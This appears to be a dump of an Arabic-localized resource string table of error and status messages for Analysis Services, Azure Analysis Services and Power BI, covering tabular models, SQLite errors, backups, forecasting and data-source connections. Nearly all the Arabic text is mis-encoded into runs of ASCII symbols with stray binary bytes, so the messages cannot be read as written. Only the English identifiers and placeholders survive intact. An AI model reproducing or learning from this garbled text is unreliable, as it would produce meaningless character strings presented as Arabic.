'DE*HBQN9 GH '%{expected/}'.~FH9 9EH/ :J1 E*HBQN9: 'D9EH/ '%{column/}' 6EF E,EH9) 'D5AHA '%{rowset/}' EF 'DFH9 %{actual/}. 'DFH9 'DE*HBQN9 GH %{expected/}.O'D9EH/ 'DE7DH( :J1 EH,H/: '%{column/}' :J1 EH,H/ AJ E,EH9) 'D5AHA '%{rowset/}'.iBJE) 'D9EH/ 'DE7DH() :J1 EH,H/): 'D9EH/ '%{column/}' JA*B/ %DI BJE) AJ 5A 6EF E,EH9) 'D5AHA '%{rowset/}'.o'DC'&F 'D*'(9 EH,H/ ('DA9D: 'DC'&F %{typename/} 'D0J J-ED '3E '%{name/}' J-*HJ 9DI C'&F %{childtypename/} *'(9.eD' JECF *9/JD C'&F'* F8'E: 'DC'&F %{typename/} 'D0J J-ED '3E '%{name/}' GH C'&F F8'E HD' JECF *9/JDG.^BJE) *9/'/ :J1 5'D-): *E* E5'/A) BJE) '%{typename/}' %{value/} 6EF E,EH9) 'D5AHA '%{rowset/}'.1*E *-/J/ 1H'(7 .'1, 'D.7 E1*JF DDC'&F 'DG/A FA3G.;*E *-/J/ 'DC'&F FA3G E1*JF AJ 'D1H'(7 .'1, 'D.7 DFA3 'DG/A.|D' JECF *FAJ0 'D#E1 "E9'D,)" D#F C'&F'* E*9//) 3**#+1. (JFE' D' JECF E9'D,) #C+1 EF C'&F H'-/ 9F/ '3*./'E 'D1H'(7 .'1, 'D.7.PAfD' JECF *FAJ0 'D#E1 Process DDB3E '%{partition/}' AJ 'D,/HD '%{table/}' D#F E,EH9) 5AHA 'D*/AB EABH/).XE3EH- (7D('* DDL 'D,/HDJ) AB7 AJ /OA9) 9F/E' *CHF 'D.'5J) ReturnAffectedObjects EECQNF).[E3EH- (#E1 H'-/ AB7 AJ /OA9) DJ3* E9'ED'* 9F/E' *CHF 'D.'5J) ReturnAffectedObjects EECQNF).<J,( *9JJF 'D%5/'1 'D#3'3J %DI -1 9F/ 7D( 'D*#+J1 /'.D 9EDJ).BJ,( #F D' JCHF 'D%5/'1 'D#3'3J (BJE) 3'D() 9F/ 7D( 'D*#+J1 D9EDJ).�'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' DE J*E (G *-/J/ 9EH/ E,EH9) 5AHA */AB'* 'DE5/1. %E' #F *BHE (*HAJ1 1H'(7 .'1, 'D.7 DD9EH/ #H *9JJF 'D.'5J) 'SourceColumn' DG.ZD' J*E '3*./'E 7D( 'D*-/J+ 'D0J J-*HJ 9DI 'D%6'A) RefreshType %D' AJ 'D#B3'E :J1 'DE-3H().dB'9/) 'D(J'F'* 0'* 'D'3E '%{name/}' H'DE91A '%{id/}' DDB1'!) AB7. D' JECF *FAJ0 'D#E1 '%{command/}'.�*-*HJ B'9/) 'D(J'F'* 0'* 'D'3E '%{name/}' H'DE91A '%{id/}' 9DI *:JJ1'* FEH0, E9DB). BE (*4:JD 'D#E1 SequencePoint B(D *FAJ0 '3*9D'E #H 7D( 'C*4'A.EJ*E %F4'! C'&F 'DFEH0, *DB'&JK' HD' JECF %F4'$G ('3*./'E #E1 "%F4'!".J*901 -0A C'&F 'DFEH0,.W*E '3*D'E BJE) :J1 .'DJ) :J1 E*HB9) AJ 'D9EH/ '%{column/}' DE,EH9) 'D5AHA '%{rowset/}'.n*E '3*D'E BJE) FH9 'DC'&F %d{type/} AJ 'D9EH/ '%{column/}' DE,EH9) 'D5AHA '%{rowset/}' HGH FH9 C'&F :J1 5'D-.V*E '3*D'E E3'1 C'&F #H E91QPAG AJ E,EH9) 'D5AHA '%{rowset/}' %D' #F FH9 'DC'&F EABH/.?E3'1 'DC'&F #H E91QPAG :J1 EH,H/ AJ E,EH9) 'D5AHA '%{rowset/}'.@(96 ECHF'* E3'1 'DC'&F :J1 EH,H/) AJ E,EH9) 'D5AHA '%{rowset/}'.9JA*B/ 5A AJ E,EH9) 'D5AHA "*-/J+" %DI 'DBJE) RefreshType.DJ*901 9DI 'D1(7 .'1, 'D.7 *-/J/ E91A 'DB3E H'3E 'DB3E/'D,/HD CDJGE'.PJECF AB7 *:JJ1 'D.'5J*JF Culture HCollation DC'&F 'DFEH0, B(D %F4'! #J C'&F ".1.?:J1 E3EH- (*:JJ1 FH9 'DB3E EF PartitionType.Calculated #H %DJG.Z:J1 E3EH- (*:JJ1 FH9 'DB3E EF PartitionType.Calculated #H %DJG ('3*./'E 'D1H'(7 .'1, 'D.7.<:J1 E3EH- (*:JJ1 .5'&5 B3E E-3H( ('3*./'E 'D1H'(7 .'1, 'D.7.GD' J*E /9E 7D( 'D*-/J+ DDFH9 "%D:'! 'D*,2&)" %D' AJ ,/HD #H FEH0, C'ED.PD' J*E #/'! 7D( 'D*-/J+ DDFH9 "%D:'! 'D*,2&)" %D' (4CD E3*BD 9F 'D9EDJ'* 'D#.1I.uJ*901 *FAJ0 'D9EDJ) D#FG' *4J1 %DI C'&F #H .'5J) :J1 E*'-) AJ 'D%5/'1 'D-'DJ EF 'D.'/E #H E3*HI *H'AB B'9/) 'D(J'F'*.d*-*HJ B'9/) 'D(J'F'* G0G 9DI EJ2'* D' J/9EG' 'D%5/'1 'D-'DJ EF 'D.'/E #H E3*HI *H'AB B'9/) 'D(J'F'*.j%9'/) *3EJ) C'&F'* E*9//) AJ FA3 'D#E1 :J1 E/9HE. 'D1,'! %9'/) %13'D 9EDJ'* %9'/) 'D*3EJ) AJ #H'E1 E*9//).yJF*, 9F *HDJA) 'D#/H'1 'DF47) *CHJF #E'F /JF'EJCJ :J1 E/9HE -'DJK'. 'D1,'! 'D'*5'D (E3$HD B'9/) 'D(J'F'* D-D G0G 'DE4CD).qJF*, 9F *HDJA) 'D#/H'1 'DF47) *CHJF #E'F /JF'EJCJ :J1 E*3B. 'D1,'! 'D'*5'D (E3$HD B'9/) 'D(J'F'* D-D G0G 'DE4CD).(/# -A8 B'9/) 'D(J'F'*.'F*GI -A8 B'9/) 'D(J'F'*.�A4D -0A 'DEDA '%{FileName/}' #+F'! 'D'D*2'E #H 'D9H/) %DI 'D-'D) 'D3'(B). %,E'D'K HB9 9// '%{nFiles/}' file -'D) (-'D'*) A4D -0A 'DEDA #+F'! 'D9EDJ).:.7# SQL #H B'9/) 'D(J'F'* EABH/). 1E2 .7# SQLite=%{code/}.2.7# EF7B /'.DJ AJ SQLite. 1E2 .7# SQLite=%{code/}.'*E 1A6 'DH5HD. 1E2 .7# SQLite=%{code/}.57D( 1H*JF 'D'3*/9'! 'D%,G'6. 1E2 .7# SQLite=%{code/}.1EDA B'9/) 'D(J'F'* E$EF. 1E2 .7# SQLite=%{code/}.:JH,/ ,/HD E$EF AJ B'9/) 'D(J'F'*. 1E2 .7# SQLite=%{code/}.+A4D *.5J5 'D0'C1). 1E2 .7# SQLite=%{code/}.DE-'HD) 'DC*'() AJ B'9/) (J'F'* DDB1'!) AB7. 1E2 .7# SQLite=%{code/}.E*E %FG'! 'D9EDJ) (H'37) sqlite3_interrupt(). 1E2 .7# SQLite=%{code/}.W-/+ .7# AJ B15 'D%/.'D/'D%.1', #+F'! *FAJ0 9EDJ) B'9/) (J'F'*. 1E2 .7# SQLite=%{code/}.E5H1) B15 B'9/) 'D(J'F'* ECHF) (4CD :J1 5-J-. 1E2 .7# SQLite=%{code/}.a.7# B'9/) (J'F'* /'.DJ: 4A1) *4:JD :J1 E91HA) AJ sqlite3_file_control(). 1E2 .7# SQLite=%{code/}.BA4D 'D%/1', F81K' D'E*D'! B'9/) 'D(J'F'*. 1E2 .7# SQLite=%{code/}.6J*901 A*- EDA B'9/) 'D(J'F'*. 1E2 .7# SQLite=%{code/}.>.7# AJ (1H*HCHD *#EJF B'9/) 'D(J'F'*. 1E2 .7# SQLite=%{code/}..B'9/) 'D(J'F'* A'1:). 1E2 .7# SQLite=%{code/}.6*E *:JJ1 E.77 B'9/) 'D(J'F'*. 1E2 .7# SQLite=%{code/}.9**,'H2 'D3D3D) #H BLOB -/ 'D-,E. 1E2 .7# SQLite=%{code/}..%,G'6 (3(( .1B 'DBJ/. 1E2 .7# SQLite=%{code/}.1FH9 'D(J'F'* :J1 E*7'(B. 1E2 .7# SQLite=%{code/}.U.7# B'9/) (J'F'* /'.DJ: *E '3*./'E 'DEC*() (71JB) :J1 5-J-). 1E2 .7# SQLite=%{code/}.t.7# B'9/) (J'F'* /'.DJ: *3*./E B'9/) 'D(J'F'* EJ2'* F8'E *4:JD :J1 E/9HE) AJ 'DE6JA 'D-'DJ. 1E2 .7# SQLite=%{code/}.(*E 1A6 'D*.HJD. 1E2 .7# SQLite=%{code/}.PA8.7# (*F3JB B'9/) (J'F'* %6'AJ). 1E2 .7# SQLite=%{code/}.a.7# B'9/) (J'F'* /'.DJ: *B9 'DE9DE) 'D+'FJ) D@ sqlite3_bind .'1, 'DF7'B. 1E2 .7# SQLite=%{code/}.I'DEDA 'DE-// DJ3 EDA B'9/) (J'F'* HD' JECF A*-G. 1E2 .7# SQLite=%{code/}.2%9D'E'* EF sqlite3_log(). 1E2 .7# SQLite=%{code/}.2*-0J1'* EF sqlite3_log(). 1E2 .7# SQLite=%{code/}.]*E %1,'9 -'D) :J1 E*HB9) (H'37) F8'E B'9/) 'D(J'F'* D(J'F'* 'D*91JA. 1E2 .7# SQLite=%{code/}.PA4A4D A*- B'9/) (J'F'* (J'F'* 'D*91JA DDFEH0, 'D,/HDJ.X-/+ .7# #+F'! E-'HD) 'D'3*9D'E 9F ,/HD F8'E '%{schema/}' EF B'9/) (J'F'* (J'F'* 'D*91JA.[-/+ .7# #+F'! E-'HD) %/1', 5A %DI ,/HD 'DF8'E '%{schema/}' AJ B'9/) (J'F'* (J'F'* 'D*91JA. W-/+ .7# #+F'! E-'HD) *-/J+ 5A AJ ,/HD F8'E '%{schema/}' AJ B'9/) (J'F'* (J'F'* 'D*91JA.W-/+ .7# #+F'! E-'HD) -0A 5A EF ,/HD 'DF8'E '%{schema/}' AJ B'9/) (J'F'* (J'F'* 'D*91JA.|DE J*E *-/J+ #J) 5AHA ('3*./'E 9EDJ) *-/J+ (J'F'* 'D*91JA. G0' :J1 E*HB9 HJ4J1 %DI 9/E '*3'B AJ (J'F'* *91JA FEH0, 'D(J'F'*.f(FJ) ,/HD 'DF8'E '%{schema/}' :J1 E*HB9). J(/H #F (J'F'* 'D*91JA DFEH0, 'D(J'F'* ECHQF) (4CD :J1 5-J-.�.7# /'.DJ :J1 E*HB9. ,/HD 'DF8'E '%{schema/}' :J1 EH,H/ AJ (J'F'* 'D*91JA #H DE **E *1BJ*G DJ7'(B %5/'1 'D*H'AB DE-1C FEH0, 'D(J'F'* 'D-'DJ.DA4D -0A 'DEDA'* ('D*H'2J #+F'! 'D*+(J* #H 'D9H/) %DI 'D-'D) 'D3'(B).PA	%{error/}	%{error/}	%{error/}.7# *(9J) AJ 'D9EH/ 'DE-3H(..7# *(9J) AJ 'DEBJ'3.)(/#* E9'D,) 'D9EH/ 'DE-3H( '%{strName/}'.*'F*G* E9'D,) 'D9EH/ 'DE-3H( '%{strName/}'.PA*(/#* E9'D,) 'D9D'B) ('D,/HD '%{strName/}'.+'F*G* E9'D,) 'D9D'B) ('D,/HD '%{strName/}'..7# *(9J) AJ 'D,/HD 'DE-3H(.	%{error/}	%{error/}-(/#* E9'D,) 'D9D'B) ('3E 'D/H1 '%{strName/}'..'F*G* E9'D,) 'D9D'B) ('3E 'D/H1 '%{strName/}'.2.7# AJ 'D*9(J1 AJ AllowedRowsExpression: %{error/}+.7# *(9J) AJ 'D*9(J1 AllowedRowsExpression.	%{error/}	%{error/}	%{error/}	%{error/}	%{error/}	%{error/}	%{error/}	%{error/}	%{error/}*(/#* E9'D,) 'D*3D3D 'DGJCDJ '%{strName/}'.+'F*G* E9'D,) 'D*3D3D 'DGJCDJ '%{strName/}'..7# *(9J) AJ 'D*3D3D 'DGJCDJ..7# AJ E-'C') 'DA4D.0A4D *GJ&) E-'C') 'DA4D (1E2 'D.7# %{errorCode/}.T*E* E5'/A) .7# #+F'! *BJJE *9(J1 #E'F E3*HI 5A E91QA AJ 'D,/HD '%s'. 13'D) 'D.7#: %s(H5A H8JA) EC*() 'DED-B: '%{Decription/}'.H5A E9DE) H8JA) EC*() 'DED-B: '%{Decription/}'1'3E E9DE) H8JA) EC*() 'DED-B: '%{ParameterName/}'PA/9AHK' -/+ .7# :J1 E-//. 'D1,'! %9'/) 'DE-'HD).19AHK' 'F*G* EGD) 'D*-/J+. 'D1,'! %9'/) 'DE-'HD).�F#3A E5/1 'D(J'F'* D'*5'D 'D(J'F'* G0' :J1 E3,D D@ Power BI. '7D( EF E3$HD Power BI D/JC *3,JD E5/1 'D(J'F'* AJ E1C2 %/'1) Power BI.dE5/1 'D(J'F'* D' J9ED. '7D( EF E3$HD Power BI 'D*#C/ EF *CHJF E5/1 'D(J'F'* (4CD 5-J- H#9/ 'DE-'HD).a9AHK' DJ3 D/JC #0HF'* D'3*1/'/ 'D(J'F'* D'*5'D 'D(J'F'* G0'. '7D( 'DH5HD EF E3$HD Power BI D/JC.xF#3A J*901 9DJF' 'D'*5'D (E5/1 'D(J'F'* G0'. '7D( EF E3$HD Power BI 'D*-BB EE' %0' C'F* (H'() %/'1) 'D(J'F'* :J1 E*5D).>9AHK' J*901 9DJF' *-/J+ 'D'*5'D'* DFH9 E5/1 'D(J'F'* G0' (9/.w9AHK' J*901 9DJF' 'D'*5'D (E5/1 'D(J'F'* G0'. '7D( EF E3$HD Power BI 'D*#C/ EF #F 'D(H'() E*'-) H*E *CHJFG' (4CD 5-J-.�9AHK' J*901 9DJF' *-/J+ '*5'D 'D(J'F'* G0'. D' JECF *-/J+ E5'/1 'D(J'F'* 'D/'.DJ) %D' 9(1 *-/J+ E,/HD AJ Power BI D@ Office 365.�9AHK' J*901 9DJF' *-/J+ '*5'D 'D(J'F'* G0'. D' JECF *-/J+ E5'/1 (J'F'* Power Query %D' 9(1 *-/J+ E,/HD AJ Power BI D@ Office 365.M9AHK' J*901 9DJF' *-/J+ 'D'*5'D'* DFH9 E5/1 'D(J'F'* G0' AJ Power Query (9/.S9AHK' J*901 9DJF' *-/J+ '*5'D 'D(J'F'* -J+ *-*', %DI *1.J5 Power BI D@ Office 365.b9AHK' '*5'D (J'F'* Power Query D' J9ED. 'A*- E5FAK' AJ Excel H#5D- '*5'D 'D(J'F'* AJ Power Query.�9AHK' J,( *CHJF E5'/1 'D(J'F'* D'*5'D 'D(J'F'* G0'. #(D: E3$HD Power BI D/JC #FG J,( #F *CHF CD E5'/1 'D(J'F'* E1*(7) (FA3 'D(H'() AJ 'DE5FA 'D0J J6E '*5'D'* (J'F'* Power Query.�9AHK' J*901 9DJF' 'D'*5'D (E5/1 'D(J'F'* G0'. #(D: E3$HD Power BI #F .NET Framework 4.5.1 :J1 EO+(* 9DI 'D,G'2 'D0J J3*6JA (H'() %/'1) 'D(J'F'*.,F#3A .7) 'D*FAJ0 DE,EH9) 'D5AHA :J1 E/9HE).�901K' DE F*ECF EF *FAJ0 'D'3*9D'E 'DE('41 EF FEH0, 'D3-'() 9DI E5/1 'D(J'F'* 'DE-DJ. JD2E %9/'/ (H'() 4.5J) #H E$33J) -*I JECF D@ Power BI 'D'3*9D'E 9F E5/1 'D(J'F'* 'DE*HA1 E-DJK'.%s{powerbierror/}�901K' J*901 9DJF' *FAJ0 'D'3*9D'E 'DE('41 (/HF (H'() E$33J) D@ PowerBI ECHF) (DMTS). #.(1 E3$HD Power BI #FG JD2E %9/'/ (H'() 4.5J) #H E$33J) -*I J*ECF Power BI EF 'D'3*9D'E 9F E5/1 'D(J'F'*.�901K' J*E /9E FE'0, 'D'3*9D'E 'DE('41 AB7 (H'37) (H'() E$33J) D@ PowerBI (DMTS). #.(1 E3$HD Power BI #FG JD2E %9/'/ (H'() %/'1) (J'F'* -*I J*ECF Power BI EF *-/J+ (J'F'* 'DFEH0,.PAD' *2J/ 'DBJE 'DEH,H/) AJ 'D*3D3D 'D2EFJ 9DI 'DE-H1 'D3JFJ (AH'5D 2EFJ) EF*8E). HB/ BEF' (*9(&) F3() %{insertedDataRatio/} ('DE&) EF 'D5AHA 'DEABH/) AJ *3D3D J6E %{originalDataPoints/} EF 'D5AHA (:16 'D*F($ AB7. %F #ECF A'3*CED 'D5AHA 'DEABH/) D*-3JF /B) 'D*HB9.�BJE (96 'D5AHA 9DI 'DE-H1 'D3JFJ EABH/). DB/ #CEDF' F3() %{insertedDataRatio/} ('DE&) EF *3D3D J6E %{originalDataPoints/} EF 'D5AHA (:16 'D*F($ AB7. %F #ECF A#CED 'DBJE 'DEABH/) D*-3JF /B) 'D*HB9.�J*7D( 'D*F($ 'D/BJB 9DI 'D#BD 3 #69'A 9// FB'7 'D(J'F'* 'D*J D/I 'DBJE) 'DEH3EJ). %F #ECF A#6A 'DE2J/ EF (J'F'* 'DE-AH8'* D*-3JF /B) 'D*HB9.7J*,'H2 9// FB'7 'D*F($ 'DE7DH() 'D-/ 'D#B5I 'DE3EH- (G.EE901) J*7D( 'D'.*('1 'D1,9J +D'+) #69'A 'D(J'F'* 'DEH3EJ) 9DI 'D#BD.<E901) J*7D( 'D'.*('1 'D1,9J F5A (J'F'* 'DE-AH8'* 9DI 'D#BD.�'DBJE EABH/) EF (96 'D5AHA AJ 'DE-H1 3. BEF' (ED! G0G 'DBJE D:16 'D*F($ AB7. %F #ECF BE (%CE'D 'DBJE 'DEABH/) D*-3JF /B) 'D*HB9.PA�901K' J*7D( 'D*F($ H,H/ FB'7 (J'F'* E**'(9) ('D*3D3D 'D2EFJ. HGH J*7D( 9DI 'D#BD H,H/ 50 ('DE'&) EF FB'7 'D(J'F'* D%CE'D 'D(J'F'* 'DEABH/).c901K' D' JECFF' 'D*91A 9DI   *3D3D 2EFJ. *#C/ EF '4*E'D -BD 'DE-H1 3 9DI BJE (*F3JB 'D*'1J./'DHB*.pE901) D' J9ED 'D*F($ 9DI 'DE.77'* 'D.7J) 9F/E' *2J/ BJE 'D*'1J./'DHB* ('DE-H1 'D3JFJ (AH'5D 2EFJ) #BD EF +'FJ).�E901) D' J9ED 'D*F($ %D' 9DI 'DE.77'* 'D.7J) 9F/E' *2J/ BJE 'D*'1J./'DHB* ('DE-H1 'D3JFJ (E6'9A'* #9/'/ 5-J-) DD+'FJ) #H 'D/BJB) #H 'D3'9) #H 'DJHE #H 'D#3(H9 #H 'D4G1 #H 'D3F).iE901) D' J9ED 'D*F($ %D' 9DI 'DE.77'* 'D.7J) 9F/E' *2J/ BJE 'D*'1J./'DHB* ('DE-H1 'D3JFJ (2J'/'* EF*8E).E901) D' J9ED 'D*F($ %D' 9DI 'DE.77'* 'D.7J) 'D*J *2J/ (G' BJE 'D*'1J./'DHB* #H 'D#9/'/ 'D5-J-) ('DE-H1 'D3JFJ (2J'/'* EF*8E).nE901) D' J9ED 'D*F($ 9DI 'DE.77'* 'D.7J) 9F/E' *2J/ BJE 'D*'1J./'DHB* ('DE-H1 'D3JFJ (AH'5D 2EFJ) #BD EF JHE.�901K' J/9E 'D*F($ 'D-/ 'D#B5I 'D('D: %{dataSize/} EF FB'7 'D(J'F'*. JO1,I *5AJ) (J'F'*C D916 %{dataSize/} EF FB'7 'D(J'F'* (-/ #B5I.wF#3A J-// 'D*F($ FB'7 (J'F'* 'DE-AH8'* %{dataPoints/}. J*7D( *HA1 %{minDataPoints/} EF FB'7 'D(J'F'* 9DI 'D#BD DD*HB9.PA�E901) D' J9ED 'D*F($ %D' 9DI 'DE.77'* 'D.7J) 9F/E' *2J/ BJE 'DE-H1 'D3JFJ (AH'5D 2EFJ) EF*8E). JECF DD*F($ %CE'D 'D5AHA 'DEABH/) AB7 -*I 9// FB'7 (J'F'* 'DE-AH8'* (:16 'D*F($. 'D1,'! %CE'D 'D5AHA 'DEABH/) #H %2'D) 9H'ED 'D*5AJ).�E901) JECF DD*F($ %CE'D BJE 5 'DEABH/) AB7 -*I 9// FB'7 (J'F'* 'DE-AH8'* (:16 'D*F($. 'D1,'! E-'HD) %CE'D 'DBJE 'DEABH/) #H %2'D) 9H'ED 'D*5AJ).PE-'0') G0G 'DA&) E9 'DA&) 0'* #C(1 BJE) E*HBA) E$B*K' (3(( BJH/ E,EH9) 'D(J'F'*.ME-'0') G0G 'DA&) E9 'DA&) 0'* #C(1 BJE) E*HBA) E$B*K' (3(( BJH/ %2'-) 'D*F($.9DD*F(H! J,( E-'0') CD 'D37H1 D*F*GJ 9F/ FA3 BJE) E-H1 3.0DD*F(H! J,( 2J'/) CD 'D37H1 (FA3 EB/'1 'D2J'/).bDD*F($ J,( #F JCHF D2J'/) 'DHB* 9DI 'DE-H1 'D3JFJ FA3 FB7) 'D(/'J) H'DFG'J) DCD 'D37H1 AJ 'DE.77.oA4D (/! 'D.'/E F81K' D*901 'D9+H1 9DI ECHF E3*./E DG0' 'D:16 ('%{dll/}') 9DI ,G'2 'DCE(JH*1 D/JC #H A4D *-EJDG.#A4D EF Azure Storage: "%{message/}";C'&F 'D*.2JF 'D+F'&J C(J1 'D-,E EH,H/ ('DA9D: '%{message/}'8C'&F 'D*.2JF 'D+F'&J C(J1 'D-,E :J1 EH,H/: '%{message/}'�*-*HJ 'DGHJ) "%{strMemberName/}" 9DI EHA1 GHJ) :J1 5'D- "%{strProvider/}". J*E /9E E3*./EJ Azure Analysis Services #H E,EH9'*G AB7. '3*./E "AzureAD" CBJE) EHA1 'DGHJ).-'D'3E E7DH( D96H /H1 Azure Analysis Services.aDE J*E 'D9+H1 9DI 'DE3*./E #H 'D*7(JB: '%{pii_strMemberName/}' AJ Azure Active directory DE$33*C.3G0G 'D9EDJ) D' J/9EG' EF*, Azure Analysis Services.IH69 DelayLoadModeRequested J3'HJ 1 D' J/9EG EF*, Azure Analysis Services.ZFH9 9'ED 'D*5AJ) :J1 E/9HE. A4D *FAJ0 '3*9D'E E*,1 'DC'&F 'D+F'&J C(J1 'D-,E "%{filter/}".QFH9 9'ED 'D*5AJ) :J1 E/9HE. A4D* %9'/) *3EJ) 'DEDA "%{file/}" %DI "%{filedest/}".FJ*901 *-/J/ 'DE91A D96H /H1 Azure Analysis Services: "%{memberName/}".%{newLine/}%{newLine/}'D*A'5JD 'DAFJ):%{newLine/}RootActivityId: %{rootActivityId/}%{newLine/}'D*'1J. (UTC): %{currentUtcDate/}�1#3 Http: "%{headerName/}" DE J*E 'D9+H1 9DJG AJ '3*,'() Http 'D*J #1,9G' Azure Analysis Server. 1E2 .7# 'DF8'E: %d{systemErrorCode/}.%{technicalDetailsText/}%{strValue/}PA5Azure Analysis Server #1,9 'D.7# 'D*'DJ: %{strValue/}�*901 'D9+H1 9DI Azure Analysis Server: "%{serverName/}". *#C/ EF H,H/ 'D.'/E H%/.'D '3E 'D.'/E (71JB) 5-J-) .%{technicalDetailsText/}�A4D -D FB7) FG'J) F8'E 'DE,EH9) 'DA9DJ) D@ Azure Analysis Server: "%{serverName/}". '3*,'() 'D.'/E: %{serverResponse/}.%{technicalDetailsText/}eD' JECF #F J-*HJ C'&F 'D**(9 9DI '3E J6E GUID 'DE-//. *E -,2 GUID DD'3*./'E 'D/'.DJ AJ (J&) AS Azure.SG0G 'D9EDJ) D' J3E- (G' EF*, Azure Analysis Services D#F 'D3J'B 'D-'DJ DDB1'!) AB7.8'D.'/E :J1 E*HA1 E$B*K'. 'D1,'! E-'HD) 'D'3*9D'E D'-BK'.W%F4'! ,D3'* 9ED XEvent ('3*./'E #G/'A EDA E-DJ D' J3E- (G EF*, Azure Analysis Services.%A4D 'DF3. 'D'-*J'7J E9 .7# :J1 EO5FA.E3'1 F3. '-*J'7J :J1 5'D- ('D-/ 'D#B5I 1024 -1AK'). 'D#E+D) 'D5'D-): /recovery/10.12.2016/db1.abf recovery/10.12.2016/db1.abf.}DE J*E *CHJF F3. '-*J'7J DG0' 'D.'/E. '*5D (E3$HD 'D.'/E D*CHJF -3'( *.2JF 'DF3. 'D'-*J'7J ('3*./'E E/.D Azure #H PowerShell.5DE J*E 'D9+H1 9DI -3'( *.2JF 'DF3. 'D'-*J'7J 'DE*HA1.1DE J*E 'D9+H1 9DI -'HJ) 'DF3. 'D'-*J'7J 'DE*HA1).i'DF3.) 'D'-*J'7J) 'DE*HA1) EH,H/) ('DA9D J,( *9JJF AllowOverwrite DDC*'() 9DI 'DF3.) 'D'-*J'7J) 'D-'DJ).Y*E '3*./'E .J'1 #E'F :J1 5'D- D7D( Backup AJ H69 AS PaaS J,( *HAJ1 CopyAll DJCHF 'D.J'1.6.J'1 #B3'E (9J/) :J1 5'D- J,( *HAJ1 .7# DJCHF 'D.J'1._*E '3*./'E .J'1 EH'B9 (9J/) :J1 5'D- D7D( Backup #H Restore AJ H69 AS PaaS J,( #F JCHF A'1:K'.[*E '3*./'E .J'1 DBStorageLocation :J1 5'D- D7D( Restore AJ H69 AS PaaS J,( #F JCHF A'1:K'.-G0G 'D9EDJ) D' J/9EG' EF*, PowerBI Dedicated.&'DF3.) 'D'-*J'7J) 'DE*HA1) :J1 EH,H/).OA4D Imageload DB'9/) 'D(J'F'* '%{databaseName/}' D#F 'D.'/E 'D-'DJ DJ3 'D1&J3J.+A4D 'D'*5'D EF Azure Storage: '%{message/}'IJ*901 *-/J/ FH9 'D96H D96H /H1 Azure Analysis Services: "%{memberName/}".HJ*901 *FAJ0 'DC'&F 'D+F'&J C(J1 'D-,E (3(( 9/E *7'(B ETag: '%{message/}'Xuri D-'HJ) 'DC'&F'* 'D+F'&J) C(J1) 'D-,E 'D*J *6E 1E2 SAS 'DEEJ2 D' J*H'AB E9 'DEH'5A'*./J*901 'DH5HD %DI -'HJ) 'DF3. 'D'-*J'7J 'DECHF).L'F*G* EGD) 'D7D( F81K' D#F E+JD 'D.'/E DE J*ECF EF '3*1/'/ #J) B'9/) (J'F'*.N#FGI 'D.'/E D#F 9// BH'9/ 'D(J'F'* 'D*J *6E #.7'! 9EDJ) 'D'3*1/'/ J*,'H2 'D-/.-*901 %-6'1 EDA 'D'1*('7 9DI URI '%{strURL/}'.YE-*HI EDA 'D'1*('7 9DI URL '%{strURL/}' DJ3 ('D*F3JB 'D5-J-. J,( #F J(/# (@ 'asazure://'.NA4D* 'D'3*9'/) F81K' D9/E 'D9+H1 9DI 'DC'&F 'D+F'&J C(J1 'D-,E: '%{blobName/}'S('DF3() D@ Azure Analysis Services A%F 'D#E1 %1A'B :J1 E/9HE DDE3*./EJF 'D.'1,JJF.j('DF3() D@ Azure Analysis Services A%F 'D#E1 %1A'B D' J/9E 3HI %1A'B BH'9/ 'D(J'F'* AJ 'DH69 DDB1'!) AB7.PAj('DF3() D@ Azure Analysis Services A%FG :J1 E3EH- ('3*./'E 'D#E1 %1A'B %D' 9DI 'DFO3. 'DE*E'+D) 'D+'FHJ).6'*5'D 'DE3$HD 'DE.55 :J1 E3EH- (G DE3*./E DJ3 E3$HD'K.^*E %D:'! 'D9EDJ) (3(( 7D( '*5'D E3$HD E.55 ".1. JO3E- AB7 ('*5'D E3$HD E.55 F47 H'-/ AJ 'DE1).?*E *-/J/ E,D/ (J'F'* :J1 5'D- AJ EDA 'D*CHJF: '%{datafolder/}'.G'1*('7 URI '%{strURL/}' :J1 5'D-. J*901 *-/J/ EFA0 HTTPs 'DE.55 AJ URI.''DEJ2) %{feature_name/} :J1 E/9HE) (9/.3FH9 'D9EH/ '%{columnname/}' :J1 E/9HE DG0G 'D9EDJ).TJ,( #F JCHF 9// 'D#9E/) 1 DD#E1 AnalyzeRefreshPolicyImpact. 3J*E *,'GD ('BJ 'D#9E/).-G0G 'D9EDJ) D' J/9EG' EF*, PowerBI Dedicated.^'F*G* EGD) 9EDJ) '3*1/'/ B'9/) 'D(J'F'*. *901 '3*1/'/ B'9/) 'D(J'F'* ('DE91A '%{databaseid/}'.�D' J*E /9E DISCOVER_POWERBI_DATASOURCES .'1, Power BI Premium #H ('DFEH0, 'D,/HDJ E9 *9JJF 'D.'5J) 'DefaultPowerBIDataSourceVersion' %DI 'PowerBI_V1'.K*E %D:'! 'D*-/J+ 'DE,/HD D#FG *E 'DC4A 9F *-/J+ ,/J/ AJ FA3 B'9/) 'D(J'F'*.AD' J*E /9E DISCOVER_M_EXPRESSIONS %D' D@ Power BI Premium H./E*G.pA4D 'D'*5'D (E.2F 'D(J'F'* 'D+F'&J) 'DC(J1) D@ Azure. 'D1,'! 'D*-BB EF %9/'/'* -'HJ) *.2JF 'DF3. 'D'-*J'7J D/JC.*C'&F 'D*.2JF 'D+F'&J C(J1 'D-,E :J1 EH,H/.i'D1,'! 'D*#C/ EF '3*./'E E5'/1 'D(J'F'* 'DEH,H/) AB7 :J1 E3EH- (%6'A) E5'/1 (J'F'* ,/J/) AJ G0G 'D9EDJ).�:J1 E3EH- ('D'*5'D (E5/1 'D(J'F'* 'D.'1,J '%{throttling_key/}' (3(( 'D9/J/ EF E-'HD'* 'D'*5'D 'DA'4D) ('3*./'E (J'F'* '9*E'/ :J1 5'D-).a*901 9DI 'D.'/E 'D9+H1 9DI E,D/ B'9/) (J'F'* J6E 3,D 'DA5D ('3*./'E E3'1 'D(-+: '%{searchPath/}'.S*901 9DI 'D.'/E 'D9+H1 9DI 3,D 'DA5D AJ E,D/ B'9/) 'D(J'F'*: '%{detachLogFolder/}'.aD' JECF 'D'3*9D'E 9F B'9/) 'D(J'F'* '%{databaseName/}' -'DJK' D#F H69 'D*.2JF J,1J *-/J+G -'DJK'.AD' J*E /9E DISCOVER_POWERBI_ROLES %D' D@ Power BI Premium H./E*G.fD' JECF *-HJD B'9/G 'D(J'F'* '%{databaseName/}' %DI '%{targetStorageMode/}' D#FG' AJ G0' 'DH69 ('DA9D.d#3DH( GetEstimatedDatabaseSize :J1 E/9HE DB'9/) (J'F'* H69 *.2JF 'DF3. 